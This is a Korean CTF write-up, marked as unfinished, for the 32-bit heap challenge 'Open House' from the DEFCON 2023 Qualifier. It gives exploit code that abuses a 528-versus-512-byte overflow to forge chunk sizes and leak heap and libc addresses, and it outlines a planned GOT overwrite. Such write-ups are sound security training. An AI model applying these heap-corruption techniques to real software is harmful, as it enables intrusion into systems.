CIDY
[DEFCON CTF 2023 Qualifier] Open House(작성중) 본문
32비트 + 힙문제이다. 요즘 ctf에서 32비트도 힙도 잘 못 본 것 같은데 오랜만에 만난 힙이라 반가웠다.
위와 같이 메뉴 형식으로 돌아가는 전형적인 힙 문제의 구조였다. 취약점이 너무 분명하게 있고, 할당-해제를 꼬아 풀면 되는 문제라서 코드 하나하나를 자세히 읽지는 않았던 것 같다.
우선 취약점이다. 할당할때는 512로 할당하는데 수정할때는 528을 입력받는다. (심지어 할당 크기 max도 512인데, 528을 입력받는다.)
comment(b"AAAA")
comment(b"BBBB")
comment(b"CCCC")
comment(b"D" * 0x1ff + b"X")
comment(b"EEEE")
view()
io.recvuntil(b"X")
heap = u32(io.recvn(4))
print(hex(heap))
offset1 = 0x630
offset2 = 0x1a60
heap1 = p32(heap - offset1) + p32(heap - offset2)
heap2 = p32(heap - 0x210) + p32(heap - 0x630)
fake = b"C" * 0x1fc + p32(0x11) + heap2
modify(13, fake)
pay = b"A" * 0x200 + heap1 + p32(0) + p32(0x411)
modify(11, pay)
delete(12)
comment(b"FFF")
view()
io.recvuntil(b"FFF")
libc_base = u32(io.recvuntil(b"\xf7")[1:]) - 0x22a9f8
print(hex(libc_base))
릭은 간단하게 가능했다.
위 사진에서 0x1010하위 청크들이 내가 만든 애들인데, 우선 청크 마지막에 heap pointer가 들어가 있는 방식으로 연결되어 있기 때문에 heap 주소의 leak이 필요했다. heap주소는 그냥 꽉채워서 릭하면 포인터랑 붙어있기 때문에 매우 간단히 릭할 수 있다.
12번과 13번을 병합시켜서 unsorted bin에 연결시켜 libc leak을 했는데, 13번을 수정해서 size부분에 0x11이 들어가도록 13번의 끝쪽에 매우 작은 청크를 하나 만들어주었다. (청크 최소 사이즈가 0x20인데 0x10에 대한 검사가 없다. 그냥 align만 맞으면 문제없이 진행 가능하다.)
그리고 11번을 수정해 12번의 사이즈 부분을 0x411로 만들었다. 그럼 12번과 13번이 0x210, 0x210에서 0x410, 0x10이 되고, 이 상태에서 delete(12)를 해주면 0x410이 unsorted bin에 연결된다.
이 상태에서 하나 할당하면 0x210짜리를 할당해오는데, unsorted bin의 경우 분할 및 병합 대상이므로 할당 요청에 대해 0x410을 쪼개어 주고, 이 때 fd 및 bk가 clear되는 tcache와는 달리 bk자리에 메모리(main arena + XX)가 남으므로 그걸 view해서 릭해오면 된다. FFFF가 아닌 FFF를 보내준 이유는 엔터 때문이다.
libc leak까지는 금방 했는데 문제는 그 다음이었다. 힙문제는 항상 fullrelro 걸리고 hook overwrite로 마무리했었는데 어차피 22.04에서는 hook overwrite가 안되는데다가 이 문제가 partial relro이기 때문에 got overwrite로 익스해야 할 것 같다고 생각했다.
그런데 또 pie가 걸려 있어서 code base를 릭해야겠다는 생각까지는 했는데 다른 분이 이 문제를 계속 보고 계셔서 (+ 금방 해결하실 것 같아서) libc leak까지만 한 상태에서 다른 문제로 넘어가느라 마무리를 못했었다.
아무래도 code주소 릭하고 힙꼬아서 got overwrite로 끝내야 할듯하다. got overwrite는 청크 연결 포인터 좀 꼬으면 간단히 될 것 같은데 code주소를 어떻게 릭할 수 있을까?
생각해보면 trivial하게 릭이 가능하다. 왜 idx가 11부터 시작하나 했더니 버퍼빼고 그냥 문자열 저장을 위해 존재하는 청크였다. 그런데 이거 포인터에 code주소가 있다. 이걸 modify해서 꽉채우고 릭하면 될이라고 생각했는데 fgets가 널바이트를 끼워준다는 걸 깜박했다. 그렇다고 해제했다가 할당하면 strncpy로 512만큼 잘라서 널을 없앨 수는 있는데 그럼 포인터가 망가져서 소용이 없다.
'Hack > CTF' 카테고리의 다른 글
[zer0pts CTF 2023] Himitsu Note (0) | 2023.07.22 |
---|---|
[DanteCTF 2023] Write up (2) | 2023.06.05 |
[TAMU CTF 2023] Write up (2) | 2023.05.08 |
[Midnight Sun CTF 2023] MemeControl (0) | 2023.04.09 |
[POXX 2022 본선] Write-up? (0) | 2023.02.28 |